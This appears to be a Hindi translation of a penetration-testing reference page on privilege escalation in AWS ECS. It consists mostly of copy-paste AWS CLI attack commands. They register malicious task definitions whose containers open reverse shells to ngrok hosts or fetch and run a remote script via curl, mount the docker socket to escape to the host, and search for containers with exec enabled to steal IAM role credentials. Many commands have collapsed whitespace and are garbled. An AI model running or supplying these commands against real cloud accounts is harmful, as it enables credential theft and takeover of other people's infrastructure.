एक हमलावर जो iam:PassRole, ecs:RegisterTaskDefinition और ecs:RunTask अनुमति का दुरुपयोग करता है, वह एक नया टास्क परिभाषाबनाने में सक्षम हो सकता है जिसमें एक दुष्ट कंटेनर होता है जो मेटाडेटा क्रेडेंशियल्स को चुराता है और इसे चलाता है।
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definitionawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
संभावित प्रभाव: एक अलग ECS भूमिका में सीधे प्रिवेस्क।
पिछले उदाहरण की तरह, एक हमलावर iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask अनुमतियों का दुरुपयोग करके ECS में एक नया कार्य परिभाषा उत्पन्न कर सकता है जिसमें एक दुष्ट कंटेनर होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और इसे चलाता है।
हालांकि, इस मामले में, दुष्ट कार्य परिभाषा को चलाने के लिए एक कंटेनर उदाहरण होना चाहिए।
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecsstart-task--task-definitioniam_exfiltration \--container-instances <instance_id># Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
संभावित प्रभाव: किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क।
पिछले उदाहरण की तरह, एक हमलावर iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService या ecs:CreateService अनुमतियों का दुरुपयोग करके ECS में एक नया कार्य परिभाषा उत्पन्न कर सकता है जिसमें एक दुष्ट कंटेनर होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और इसे चलाने के लिए कम से कम 1 कार्य चलाते हुए एक नई सेवा बनाकर।
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn "$ECS_ROLE_ARN" \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a serviceawsecscreate-service--service-nameexfiltration \--task-definition iam_exfiltration \--desired-count 1 \--cluster "$CLUSTER_ARN" \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"# Run the task updating a serviceawsecsupdate-service--cluster<CLUSTERNAME> \--service <SERVICENAME> \--task-definition <NEWTASKDEFINITIONNAME>
संभावित प्रभाव: किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क।
यह परिदृश्य पिछले वाले के समान है लेकिन iam:PassRole अनुमति के बिना।
यह अभी भी दिलचस्प है क्योंकि यदि आप एक मनमाना कंटेनर चला सकते हैं, भले ही यह बिना भूमिका के हो, आप एक विशेषाधिकार प्राप्त कंटेनर चला सकते हैं ताकि नोड पर भाग जाएं और EC2 IAM भूमिका और अन्य ECS कंटेनरों की भूमिकाएं चुरा सकें जो नोड पर चल रही हैं।
आप यहां तक कि अन्य कार्यों को EC2 उदाहरण के अंदर चलाने के लिए मजबूर कर सकते हैं जिसे आप समझौता करते हैं ताकि उनकी क्रेडेंशियल्स चुरा सकें (जैसा कि नोड अनुभाग में प्रिवेस्क में चर्चा की गई है)।
यह हमला केवल तभी संभव है जब ECS क्लस्टर EC2 उदाहरणों का उपयोग कर रहा हो और Fargate का नहीं।
printf'[{"name":"exfil_creds","image":"python:latest","entryPoint":["sh", "-c"],"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],"mountPoints": [{"readOnly": false,"containerPath": "/var/run/docker.sock","sourceVolume": "docker-socket"}]}]'>/tmp/task.jsonprintf'[{"name": "docker-socket","host": {"sourcePath": "/var/run/docker.sock"}}]'>/tmp/volumes.jsonawsecsregister-task-definition--familyiam_exfiltration \--cpu 256--memory512 \--requires-compatibilities '["EC2"]' \--container-definitions file:///tmp/task.json \--volumes file:///tmp/volumes.jsonawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \--launch-type EC2# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
एक हमलावर के पास ecs:ExecuteCommand, ecs:DescribeTasks है जिससे वह कमांड्स को एक चल रहे कंटेनर के अंदर निष्पादित कर सकता है और इससे जुड़े IAM भूमिका को निकाल सकता है (आपको aws ecs execute-command चलाने के लिए विवरण अनुमतियों की आवश्यकता है)।
हालांकि, ऐसा करने के लिए, कंटेनर इंस्टेंस को ExecuteCommand एजेंट चलाना होगा (जो डिफ़ॉल्ट रूप से नहीं होता है)।
इसलिए, हमलावर कोशिश कर सकता है:
हर चल रहे कंटेनर में एक कमांड चलाने की कोशिश करें
# List enableExecuteCommand on each taskfor cluster in $(awsecslist-clusters|jq.clusterArns|grep'"'|cut-d'"'-f2); doecho"Cluster $cluster"for task in $(awsecslist-tasks--cluster"$cluster"|jq.taskArns|grep'"'|cut-d'"'-f2); doecho" Task $task"# If true, it's your lucky dayawsecsdescribe-tasks--cluster"$cluster"--tasks"$task"|grepenableExecuteCommanddonedone# Execute a shell in a containerawsecsexecute-command--interactive \--command "sh" \--cluster "$CLUSTER_ARN" \--task "$TASK_ARN"
यदि उसके पास ecs:RunTask है, तो aws ecs run-task --enable-execute-command [...] के साथ एक कार्य चलाएँ।
यदि उसके पास ecs:StartTask है, तो aws ecs start-task --enable-execute-command [...] के साथ एक कार्य चलाएँ।
यदि उसके पास ecs:CreateService है, तो aws ecs create-service --enable-execute-command [...] के साथ एक सेवा बनाएँ।
यदि उसके पास ecs:UpdateService है, तो aws ecs update-service --enable-execute-command [...] के साथ एक सेवा अपडेट करें।
आप पिछले ECS privesc अनुभागों में इन विकल्पों के उदाहरण पा सकते हैं।
संभावित प्रभाव: कंटेनरों से जुड़े एक अलग भूमिका में privesc।
ssm:StartSession
देखें कि आप ssm privesc पृष्ठ में इस अनुमति का दुरुपयोग कैसे कर सकते हैं ताकि ECS में privesc हो सके:
एक हमलावर जिसके पास अनुमतियाँ ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, और ecs:DescribeTaskSets हैं, वह एक मौजूदा ECS सेवा के लिए एक दुर्भावनापूर्ण कार्य सेट बना सकता है और प्राथमिक कार्य सेट को अपडेट कर सकता है। यह हमलावर को सेवा के भीतर मनमाना कोड निष्पादित करने की अनुमति देता है।
bashCopycode#Registerataskdefinitionwithareverseshellecho'{"family": "malicious-task","containerDefinitions": [{"name": "malicious-container","image": "alpine","command": ["sh","-c","apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"]}]}'>malicious-task-definition.jsonawsecsregister-task-definition--cli-input-jsonfile://malicious-task-definition.json# Create a malicious task set for the existing serviceaws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the serviceaws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
संभावित प्रभाव: प्रभावित सेवा में मनचाहा कोड निष्पादित करें, जो इसकी कार्यक्षमता को प्रभावित कर सकता है या संवेदनशील डेटा को बाहर निकाल सकता है।
